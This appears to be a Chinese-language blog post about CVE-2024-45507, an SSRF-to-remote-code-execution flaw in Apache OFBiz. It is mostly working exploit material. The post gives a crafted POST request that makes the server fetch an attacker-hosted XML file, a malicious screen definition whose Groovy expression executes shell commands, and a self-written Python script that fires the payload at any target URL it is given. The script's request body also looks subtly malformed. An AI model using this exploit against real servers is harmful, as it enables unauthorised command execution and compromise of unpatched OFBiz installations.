0%

CVE-2024-45507

CVE-2024-45507

前言

漏洞名称:Apache OFBiz SSRF to RCE

漏洞影响:version < 18.12.16

CVE:CVE-2024-45507

漏洞描述

该漏洞利用了 Apache OFBiz 中的 SSRF 漏洞,攻击者可以通过特定的 URL 请求,诱使服务器加载并执行恶意的 XML 文件,从而实现远程代码执行。漏洞的触发路径包括/webtools/control/main/findTemporalExpression和webtools/control/forgotPassword/findTemporalExpression 等

漏洞利用

攻击者可以构造如下请求来利用该漏洞:

1
2
3
4
5
POST /webtools/control/main/findTemporalExpression HTTP/1.1
Host: 目标IP:8443
Content-Type: application/x-www-form-urlencoded

tempExprDecoratorLocation=http://攻击者IP/恶意文件.xml

恶意 XML 文件内容示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>

<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xmlns="http://ofbiz.apache.org/Widget-Screen"

xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">

<screen name="StatsDecorator">

<section>

<actions>

<set field="headerItem" value="${groovy:throw new Exception('ls'.execute().text);}" />

</actions>

</section>

</screen>

</screens>

通过上述请求,服务器会加载并执行恶意 XML 文件中的代码,从而实现远程代码执行

自己写的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
print("CVE-2024-45507 Apache ofiz远程代码执行漏洞EXP")
print("首先需要一台公网服务器放置恶意xml文件")
tempExprDecoratorLocation=input("请输入恶意xml文件的url:")
url = input("请输入目标url:")
def poc(url,tempExprDecoratorLocation):
url = url + "//webtools//control//main//findTemporalExpression"
headers1 = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0"
}
data = tempExprDecoratorLocation
response = requests.post(url,headers=headers1,data=data)
if response.status_code == 200:
print("漏洞利用成功")
print(response.text)
else:
print("利用失败")
if __name__ == "__main__":
poc(url,tempExprDecoratorLocation)